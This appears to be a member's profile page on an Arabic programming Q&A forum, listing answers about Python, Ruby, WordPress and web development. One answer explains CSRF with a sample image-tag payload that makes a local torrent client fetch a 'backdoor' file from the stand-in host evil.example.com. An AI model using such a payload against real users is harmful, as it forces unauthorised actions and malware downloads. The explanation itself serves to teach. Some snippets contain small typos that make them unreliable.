اذهب إلى المحتوى

هشام رزق الله

الأعضاء
  • المساهمات

    1442
  • تاريخ الانضمام

  • تاريخ آخر زيارة

  • عدد الأيام التي تصدر بها

    31

كل منشورات العضو هشام رزق الله

  1. تعتمد برمجة إضافات ووردبريس على لغة PHP بشكل رئيسي كما تطلب معرفة بقواعد بيانات مثل MySQL. بالنسبة للكورسات والدروس فيمكنك الإطلاع على قسم البرمجة في موقع أكاديمية حسوب ففيه العديد من الدروس حول مواضيع متنوعة بمجال ببرمجة الإضافات ويمكنك البدء بهذه الدروس: مُقدّمة إلى برمجة إضافات Wordpress برمجة إضافات ووردبريس: الخُطّافات (Hooks) مثال عملي لبرمجة إضافة ووردبريس- الجزء الأوّل جعل إضافات وقوالب ووردبريس جاهزة للترجمة
  2. يوجد عدة طرق في لغة بايثون لفعل ذلك، فيمكنك على سبيل المثال التأكد إذا كان هذا الكائن يملك سمة __call__ كما في المثال التالي: hasattr(x, '__call__') ويمكنك فعل ذلك عن طريق isinstance وذلك عن طريق استدعاء مكتبة types التي تحتوي على جميع أنواع الكائنات ومن ثم استخدامها كما في الأمثلة التالية: isinstance(f, types.FunctionType) أو: isinstance(lambda x : None, types.FunctionType)
  3. لإنشاء أي موقع يجب عليك حجز دومين .com (أو أي دومين آخر) وغالبا ما يكون سعر الحجز ما بين 5-15 دولار ومن ثم يجب عليك حجز استضافة لرفع الموقع عليها. وبالنسبة للموقع فيمكنك برمجته باستخدام لغات HTML و CSS و Javascript و PHP وغيرها أو من خلال إحدى أطر الويب مثل دجانغو (تتطلب معرفة ببايثون) أو ريلز (تطلب معرفة بروبي). وإذا لم تعرف كيف تبرمج موقع فيمكنك ببساطة استخدام احدى السكربتات المشهورة مثل ووردبريس وغيرها...
  4. حل سهل للغاية، فيمكنك على سبيل المثال جمع الصور في مجلد واحد ومن ثم إضافة عمود جديد لأسماء الصور حيث سيكون لكل مستخدم اسم صورة خاصة به، وفي النهاية عندما تريد عرض الصورة تستخرج من الجدول اسمها ومن ثم تعرضها بكل سهولة (سيكون لديك المسار الكامل للصورة).
  5. حسب ما فهمته من سؤالك أنك تريد تحويل سكربت بايثون إلى ملف exe قابل للتنفيذ على بيئة ويندوز، فإذا كان هذا هو طلب فيمكنك استخدام برنامج py2exe الذي يعمل فقط على نظام ويندوز أو PyInstaller الذي يعمل على نظامي ويندوز ولينكس. وفي حالة كنت تستخدم نظام ماك، فأنصحك باستعمال Py2app.
  6. لتعلم برمجة الويب يجب عليك أولا تعلم اللغات الأساسية لهذه البرمجة وهي HTML و CSS و Javascript وبعد أن تتقن هذه اللغات اتقانا تامة (بعد عمل عدة مواقع بهذه اللغات) يمكنك التقدم أكثر وتعلم لغات أخرى مثل Jquery و PHP وبعدها يمكنك أيضا تعلم أطر الويب بعد أن تتعلم لغات برمجة إضافية مثل إطار Django الشهير (يتطلب معرفة بلغة بايثون) أو إطار روبي أون ريلز (يتطلب معرفة بلغة روبي). كما يجب عليك تعلم التعامل مع قواعدة البيانات خاصة MySQL لأنك ستحتاجها كثيرا في مشوارك لاحتراف برمجة الويب. ستجد في أكاديمية حسوب الكثير من الدروس حول هذه اللغات.
  7. توجد طريقتين لفعل ذلك، الأولى عن طريق نمط (style) كتلة iframe كما تفعل لبقية الوسوم العادية كالتالي: <iframe name 'myiframe' border="0" style="height: 100px;"></iframe> أما الطريقة الثانية فهي عبر تضمين ملف النمط في الصفحة التي تريدها أو يمكنك تحميلها من الصفحة الرئيسية باستخدام جافا سكربت كما في المثال التالي: var cssLink = document.createElement("link") cssLink.href = "style.css"; cssLink.rel = "stylesheet"; cssLink.type = "text/css"; frames['frame1'].document.body.appendChild(cssLink);
  8. وهي اختصار لـ Cross-site request forgery وتدعى هذه الثغرة باللغة العربية بثغرة تزوير الطلب عبر المواقع، وهي عبارة عن تمرير أوامر غير مرخصة بها من المستخدم الذي يثق به الموقع إليه، ولقد اكتشفت هذه الثغرة سنة 2001. مثال على هذه الثغرة: <img src="http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent"> حيث أنه عند فتح هذه الصفحة سيتم فتح باب خلفي كما هو ظاهر حيث تم تمرير رابط خبيث إلى الصورة ولم يتم التأكد من محتويات وسم الصور.
  9. توجد عدة طرق للسماح للزوار بالنشر في مدونتك، وأسهل هذه الطرق هي عن طريق استخدام إضافة User Submitted Posts والتي يمكنك إضافتها إلى صفحة أو تدوينة معين ومن ثم يتمكن الزوار من النشر في مدونة ووردبريس بكل سهولة وتتميز بأنه يمكن الزوار من إضافة الصور والروابط والكاتب إلى التدوينة التي يكتبونها وتمت إضافة رمز كابتشا لإيقاف السبام على المدونات. رابط الإضافة
  10. على الرغم من أن هذه اللغات تتشابه كثيرا في طريقة كتابتها إلا أن كل لغة منفصلة عن الأخرى وتتشابه فقط في صياغة الكتابة وبعض هذه اللغات تعتبر متطورة عن اللغات الأخرى مثلا سي بلس بلس وسي شارب يتميزان بالبرمجة الكائنية الموجة (OOP). يوجد شبه كبير بين سي وسي بلس بلس ، فتقريبا أي برنامج سي يمكن ترجمته (compile) باستخدام سي بلس بلس ويتصرف تقريبا بنفس الطريقة. تعلم إحدى هذه اللغات سيسهل تعلمك للغات الأخرى.
  11. يوجد العديد من الطرق لفعل ذلك في روبي، فيمكنك على سبيل المثال استخدام map للدوران حول عناصر السلسلة النصية (الحروف) ومن ثم استخدام التعابير النمطية لحذف الحروف وترك الأرقام كما في المثال التالي: a.map {|x| x[/\d+/]} أو يمكنك استخدام التعابير النمطية مباشرة كما في المثال التالي: mystr.gsub(/[^0-9]/, '') أو عن طريق استخدام تابع scan كما في المثال التالي: mystr.scan(/\d/).join('') أو يمكنك أيضا حذف جميع الحروف باستثناء الأرقام وذلك عن طريق تابع delete كما في المثال التالي: mystr.delete("^0-9") المصدر
  12. يوجد عدة طرق في روبي لبناء ملف تنفيذي وأشهرها استخدام RubyScript2Exe هذه الطريقة سهلة وقليلة المشاكل لكن عيبها الوحيد أن الملفات التنفيذية التي تنتجها بطيئة نوعا ما ولكن على الرغم من ذلك تبقى الأفضل. ومن الطرق الأخرى يمكنك استخدام بيئة عمل Shoes لبناء ملفات تنفيذية لنظامي ويندوز وماك لكن عيبها أنه يجب تثبيت Shoes حتى يعمل البرنامج دون مشاكل.
  13. يوجد عدة طرق في بايثون لفعل ذلك، فيمكنك على سبيل المثال استعمال طريقة تفهيم القائمة وذلك عن طريق استخدام دالة xrange مع حلقة التكرار for كما في المثال التالي: l = [[] for x in xrange(n)] أو يمكنك فعل ذلك بطريقة أسرع من الطريقة الأولى وذلك عن طريق استخدام دالة repeat من وحدة itertools مع حلقة for كما في المثال التالي: from itertools import repeat l = [[] for i in repeat(None, n)] ملاحظة: يمكنك تجنب استخدام حلقات التكرار وذلك عن طريق استخدام NumPy كما في المثال التالي: l = numpy.empty((n, 0)).tolist() لكن هذه الطريقة أبطئ بكثير من الطرق الأخرى.
  14. يوجد عدة طرق لفعل ذلك في بايثون وتختلف الطرق بين إصدارين 2 و3 للبايثون بسبب أن الإصدار الثالث أصبح يرمّز السلاسل النصية كـ Unicode، فإذا كنت تستخدم الإصدار الثاني للبايثون فيمكنك في هذه الحالة استخدام lambda ودالة lower حتى تتمكن من الفرز بطريقة حالة الحروف غير حساسة كما في المثال التالي: sorted(lst, key=lambda s: s.lower()) أما في الإصدار الثالث في بايثون فيمكنك استخدام هذه الطريقة: >>> x = ['Aden', 'abel'] >>> sorted(x, key=str.lower) # Or unicode.lower if all items are unicode ['abel', 'Aden']
  15. توجد طريقتين في بايثون للخروج بدون أية قيمة وذلك عن طريق استخدام التعليمة return بمفردها أو عن طريق استخدامها مع None لتصبح كالتالي: return None وكلا الطريقتين متشابهتين ولن تُرجع أي شيء عند الخروج من الدالة ويمكنك وضعها في أي جزء من الدالة للخروج من تلك النقطة أو يمكنك ربطها مع شرط معين للخروج.
  16. يوجد فرق بسيط بينهما، فأنصحك باستخدام unless في حالة ما كان يوجد شرط واحد فقط لا غير (أي لا تحتاج إلى else) أما في الحالات الأخرى أي في حالة وجود else ففي هذه الحالة يجب عليك استخدام if not أو if ! أغلب المبرمجين في الوقت الحالي يستخدمون if !condition ونادر ما تجدهم يستعملون if not codition وفي حالة كان هنالك شرط واحد فقط فستراهم يستخدمون unless.
  17. لا يمكنك الحصول على جميع الملفات التي يتم استدعاؤها في برنامج روبي معين، لأنه قد يتطلب استدعاء ملف معين استدعاء مزيد من الملفات وروبي لا يمكنها التفريق بين ما قمت أنت باستدعائه والملف الذي استدعاه شخص آخر. يمكنك استخدام $LOADED_FEATURES للحصول على قائمة جميع الملفات التي تم استدعاءها كما في المثال التالي: > $LOADED_FEATURES. select { |feature| feature.include? 'gems' }. map { |feature| File.dirname(feature) }. map { |feature| feature.split('/').last }. uniq.sort أو يمكنك استخدام طريقة أخرى حيث ستنشئ ملف جديد (مثلا requires.rb) وتضع فيها التالي: alias :orig_require :require def require s print "Requires #{s}\n" if orig_require(s) end ومن ثم يمكنك استخدامه مع أي تطبيق روبي ليعطيك أسماء الملفات والوحدات التي تم استدعاؤها -بافتراض أن myprogram هو البرنامج المطلوب-: ruby -r requires.rb myprogram.rb
  18. يوجد عدة طرق في بايثون لفعل ذلك فيمكنك على سبيل المثال استخدام دالة system من وحدة os والتي ستنفذ أمر النظام الذي تمرره لها والذي سنستعمل أمر scp لنسخ الملفات كما في المثال التالي: import os os.system("scp FILE USER@SERVER:PATH") ملاحظة: ستحتاج إلى إغلاق الملف عن طريق استخدام الدالة .close() قبل تنفيذ الأمر السابق. أو يمكنك استخدام دوال مكتبة subprocess لفعل نفس الشيء كما في المثال التالي: import subprocess p = subprocess Popen(["scp", FILE, USER@SERVER:PATH]) sts = os.waitpid(p.pid, 0) المصدر
  19. يوجد في بايثون العديد من الطرق لتحويل صور svg إلى png أسهلها استخدام حزمة python_rsvg الموجودة في توزيعة أبنتو وفيدورا (صعب إيجادها خارجهما بسبب أنها جزء من مشروع gnome-python-desktop)، وهذا مثال بسيط على استخدامها حيث أن filename هو اسم ملف svg: import cairo import rsvg img = cairo.ImageSurface(cairo.FORMAT_ARGB32, 640,480) ctx = cairo.Context(img) handle= rsvg.Handle(None, str(<svg data>)) handle.render_cairo(ctx) img.write_to_png("svg.png") توجد طريقة أخرى للتحويل باستخدام دالة cairosvg، فلو افترضنا أن الشيفرة SVG موجودة في متغير code فستكون عملية تحويله كالتالي: import cairosvg pngout = open('output.png','w') cairosvg.svg2png(bytestring=code,write_to=pngout) pngoutout.close()
  20. يوجد عدة حلول في بايثون لحل هذه المشكلة، فيمكنك على سبيل المثال استخدام دالة strftime الخاصة بمكتبة datetime -وليس لمكتبة time-. المشكلة أن دالة strftime الخاصة بمكتبة time تقبل الوقت على شكل tuple ولكنها لا تحمل أية معلومات حول ميكرو ثانية، ولذلك استخدم مكتبة datetime بدلا عنها وستحل المشكلة كما في المثال التالي: datetime.datetime.now().strftime("%H:%M:%S.%f")
  21. أنصحك أولا بالتأكد من صلاحيات الملفات والنظام ففي أغلب المشاكل المتعلقة بخوادم يكون سببها الصلاحيات. بعد ذلك أنصحك بالتأكد من خصائص الصفحة الرئيسية في المشروع وذلك عن طريق الخطوات التالية: الضغط بالزر الأيمن للفأرة على مشروع mvc. اختيار "properties”. حدد علامة التبويب "Web” ثم اختار “Specific Page”. إذا افترضنا أنك تملك متحكم (controller) يدعى HomeController وتابع عمل (action method) يدعى Index، ادخل "home/index" إلى حقل النص الموافق لزر الراديو (radio button) المسمى "Specific Page".
  22. يوجد عدة طرق لفعل ذلك في لغة بايثون، فيمكنك على سبيل المثال استخدام in حيث ستكتب السلسلة النصية التي تحتوي على جملة أولا ومن ثم تكتب in وبعدها السلسلة النصية التي تحتوي على نص كما في المثال التالي: jomla in nas > True أو في حالة ما أردت تنفيذ أوامر معين إذا كانت الجملة موجودة في النص الذي ترغب به فيمكنك في هذه الحالة استخدام جملة الشرط if كما في المثال التالي: if jomla in nas: do_smth()
  23. يوجد عدة طرق في بايثون لفعل ذلك، وأسهل هذه الطرق هي عن طريق استخدام دالة itemgetter من وحدة operator كما في المثال التالي: >>> from operator import itemgetter >>> mylist = ['a', 'b', 'c', '1', '2', '?'] >>> itemgetter(0, 3, 5)(mylist) ('a', '1', '?') ولاستخدامها في سطر واحد لإضافتها إلى متغيرات يمكنك فعل شيء مشابه لهذا: >>> var1, var2, var3 = itemgetter(0, 3, 5)(mylist) وتوجد طريقة أخرى يمكنك استخدامها في حالة كانت عناصر القائمة ليس كبيرة وهي كالتالي: var1, _, _, var2, _, var3 = mylist
  24. هذا الخطأ يحدث بسبب خطأ بسيط للغاية في الفرق بين += و +، فعند استخدام الأولى مع قائمة فإنك تستدعي extend وليس +، وكما هو معروف فانه يمكنك استدعاء extend مع كائنات قابلة للتكرار (iterable) وأما + فيمكنك استخدامها فقط مع القوائم الأخرى. ملاحظة: عند استخدامك لـ x += y فإن الإشارات الأخرى للقائمة سترى الاختلافات في حين أن هذا لن يحدث مع x = x + y، ولتفهم هذا الأمر بشكل أفضل أنظر إلى المثال التالي: >>> x = ['a','b'] >>> y = ['c', d'] >>> z = x >>> x += y >>> z ['a', 'b', 'c', 'd'] >>> x = ['a','b'] >>> y = ['c', d'] >>> z = x >>> x = x + y >>> z ['a', 'b']
  25. يوجد عدة طرق لفعل ذلك في بايثون، فيمكنك على سبيل المثال استخدام دالة publish_string من وحدة docutils.core حيث ستمرر أولا السلسلة النصية ومن ثم تمرر خيار writer_name=”html” وذلك لإنشاء وسوم Html كما في المثال التالي: >>> from docutils.core import publish_string >>> publish_string("*Hello World*", writer_name='html') هذه الدالة تأخذ سلاسل نصية وستكون المخرجات سلاسل نصية كذلك، وإذا أردت الحصول على جزء من أجزاء html فقط فيمكنك استخدام دالة publish_parts من نفس الوحدة: >>> from docutils.core import publish_parts >>> print publish_parts("*Hello World*", writer_name='html')['html_body'] <p><em>Hello World</em></p> المصدر
×
×
  • أضف...